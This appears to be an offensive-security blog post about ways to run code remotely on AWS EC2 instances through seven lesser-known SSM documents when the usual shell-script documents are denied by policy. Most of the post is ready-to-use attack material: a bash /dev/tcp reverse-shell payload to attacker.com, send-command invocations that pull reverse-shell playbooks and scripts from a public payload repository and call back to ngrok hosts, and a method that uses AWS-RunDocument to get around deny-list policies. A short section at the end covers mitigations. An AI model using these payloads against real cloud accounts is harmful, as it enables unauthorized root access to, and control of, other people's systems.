A deep dive into AWS SSM Run Command shows that there are multiple documents attackers can use for executing code remotely on EC2 instances. In this article I’ll present you 7 other documents that can be used when AWS-RunShellScript or AWS-RunPowerShellScript are not allowed.
In my previous articles we saw how and what you can do with AWS SSM Run Command using the documents AWS-RunShellScript and AWS-RunPowerShellScript. But what if the ssm:SendCommand is denied on both documents? Put inside a policy, this scenario will look like this:
The policy above allows us to perform ec2:DescribeInstances and ssm:ListCommandInvocations on all resources, but for ssm:SendCommand we can use it on every resource except the documents AWS-RunShellScript and AWS-RunPowerShellScript.
During my research, I discovered 7 other SSM documents that can be used to execute code remotely using SSM Run Command. The payloads presented can be found in the next repository: https://github.com/saw-your-packet/fun-with-ssm.
This document will download from a remote location a Salt state file and interpret it. Salt state files are part of SaltStack, a technology for infrastructure management. The file format is YAML and the AWS-RunSaltState document can download it from S3 Buckets or HTTP(S) servers.
The payload for running arbitrary code will use “cmd.run”, as exemplified below where we have a payload for getting a reverse shell.
mycommand: cmd.run: - name: 0<&196;exec 196<>/dev/tcp/attacker.com/1337; sh <&196 >&196 2>&196
The downside is that Salt Stack needs to be installed on the target system and that’s not the case by default.
For this document, as well as for the rest of them, we can create parameterized payloads. Meaning that we will use a single generic payload and pass the host and port as parameters.
Improved Salt state file:
Example usage:
aws ssm send-command --document-name AWS-RunSaltState \ --instance-id i-06ae9883fe6e5d721 \ --parameters \ '{"stateurl":["https://raw.githubusercontent.com/saw-your-packet/fun-with-ssm/main/AWS-RunSaltState/linux/reverse_shell.yml"], "pillars":["{\"host\":\"7.tcp.eu.ngrok.io\", \"port\":\"14460\"}"]}'
Result:
As you can see, we are running as root, just as we were when executing commands with AWS-RunShellScript or AWS-RunPowerShellScript.
It downloads from remote locations Ansible Playbooks and executes them. It can download from S3 Buckets or GitHub repositories.
The advantage here is that it can also install Ansible on the system.
The parameterized Ansible Playbook for getting a reverse shell:
Example usage:
aws ssm send-command --instance-id i-0ecad5485f77f18f4 \ --document-name "AWS-ApplyAnsiblePlaybooks" \ --parameters \ '{"SourceType":["GitHub"],"SourceInfo":["{\"owner\":\"saw-your-packet\", \"repository\":\"fun-with-ssm\",\"path\":\"AWS-ApplyAnsiblePlaybooks/linux/\", \"getOptions\":\"branch:main\"}"],"InstallDependencies":["True"],"PlaybookFile":["reverse_shell.yml"],"ExtraVariables":["host=6.tcp.eu.ngrok.io port=13012"]}'
Because it is a GitHub repository, we have to specify more parameters than an HTTP server. Besides that, the parameters of interest are:
true
for installing Ansible on the systemIt does the same thing as AWS-ApplyAnsiblePlaybook with some differences:
The same Ansible Playbook can be used, but the command to send the command is different:
aws ssm send-command --document-name "AWS-RunAnsiblePlaybook" \ --instance-id i-0ecad5485f77f18f4 \ --parameters \ '{"playbookurl":["https://raw.githubusercontent.com/saw-your-packet/fun-with-ssm/main/AWS-RunAnsiblePlaybook/linux/reverse_shell.yml"],"extravars":["host=7.tcp.eu.ngrok.io port=14355"]}'
It downloads from remote locations PS module and installs them. It only supports HTTP(S) servers.
The way the document is build, it allows you to execute an arbitrary command after the module was installed. Because of this, the PS module doesn’t need to be malicious.
Example usage:
aws ssm send-command --document-name "AWS-InstallPowerShellModule" \ --instance-id i-06ae9883fe6e5d721 \ --parameters '{"source":["https://your-server.com/module.ps1"], "commands":["whoami"]}’ \ --region us-east-1
It downloads from remote locations MSI files and installs them. It only supports HTTP(S) servers. You can pass arguments to the MSI installation if want to. You need to be aware of AV at this point if the file is malicious.
Example usage:
aws ssm send-command --document-name "AWS-InstallApplication" \ --instance-id i-06ae9883fe6e5d721 \ --parameters '{"action":["Install"], "parameters":["parameters"], "source":["https://your-server.com/file.msi"]}’ \ --region us-east-1
It downloads from remote locations scripts and executes them. It supports S3 Buckets and GitHub repositories. It works for both UNIX and Windows machines.
Example usage:
aws ssm send-command --document-name "AWS-RunRemoteScript" \ --instance-id i-06ae9883fe6e5d721 \ --parameters '{"sourceType":["S3"], "sourceInfo":["{\"path\":\"s3://my-bucket/script.sh\"}"]}’ \ --region us-east-1
Last, but not least, AWS-RunDocument. This is a special one. It downloads and executes other SSM Documents. Let’s take a moment to understand this better.
So, let’s say the cloud engineer extended the deny list from the initial policy and blocked all the other SSM Documents presented above.
Well, if AWS-RunDocument is not blocked then the policy is useless. You can copy the content of, let’s say, AWS-RunShellScript document, store it on your server and use AWS-RunDocument to execute a replica of the AWS-RunShellScript document, which will result in the exact outcome as if you would have used AWS-RunShellScript directly.
It can downloads documents from GitHub repositories, S3 Buckets, HTTP(S) servers, but also can get a document as parameter from CLI. Same as for the other documents, you can create parameterized payloads that can be reused. It offers infinite possibilities in terms of what can you do.
Here is an example of malicious SSM Document that will generate a reverse shell through python (I don’t know why, but the Bash TCP payload doesn’t work with AWS-RunDocument).
Example usage:
aws ssm send-command --document-name "AWS-RunDocument" \ --instance-id i-06ae9883fe6e5d721 \ --parameters '{"sourceType":["GitHub"],"sourceInfo":["{\"owner\":\"saw-your-packet\", \"repository\":\"fun-with-ssm\", \"path\":\"AWS-RunDocument/linux/Reverse-Shell-Python\",\"getOptions\":\"branch:main\"}"], "documentParameters":["{\"host\":\"2.tcp.eu.ngrok.io\",\"port\":\"11448\"}"]}’ \ --region us-east-1
The parameter of interest is documentParameters
which allow us to pass our host and port to the document. Cool, right?
As an extension of this research, I started making malicious SSM documents. You can check them here: https://github.com/saw-your-packet/fun-with-ssm/tree/main/AWS-RunDocument
I plan to cover more details about how to create malicious documents in my next article.
From my experience, the risk comes from EC2 instances with more permissions than necessary. You can mitigate this by enforcing at the AWS Organizations level that EC2 credentials be used only from within the instance. More about on how to do this here: https://aws.amazon.com/blogs/security/how-to-use-policies-to-restrict-where-ec2-instance-credentials-can-be-used-from/
However, maybe you want to go one the further and deny the access to these documents for everyone except users that are supposed to use them.
As an example, below is a Service Control Policy that will deny access to the enumerated documents if they are not identities coming from SSO. This will mitigate misconfigurations at the EC2 level or any other service by preventing the services’ role from executing commands on EC2 instances.
An extra measure would be to set alarms that will trigger when a specific threshold is exceeded based on the metric CommandsSucceeded from AWS/SSM-RunCommand.
We discovered 7 lesser-known AWS SSM Documents that can be used for executing code remotely on EC2 instances. Along with each document there were practical examples, payloads and details about how they work.
The table below summarizes the principal characteristics of each document presented.
Download sources | Prerequisites | Parameterized payload | |
AWS-RunSaltState | S3, HTTP(S) | Yes | Yes |
AWS-ApplyAnsiblePlaybooks | S3, GitHub | No | Yes |
AWS-RunAnsiblePlaybook | S3, HTTP(S) | Yes | Yes |
AWS-InstallPowerShellModule | HTTP(S) | No | No |
AWS-InstallApplication | HTTP(S) | No | Yes |
AWS-RunRemoteScript | HTTP(S) | No | No |
AWS-RunDocument | S3, GitHub, HTTP(S) | No | Yes |
In a future article we’ll see how to make malicious AWS SSM Documents, along with some of my examples.
Repository payloads: https://github.com/saw-your-packet/fun-with-ssm
Twitter: @saw_your_packet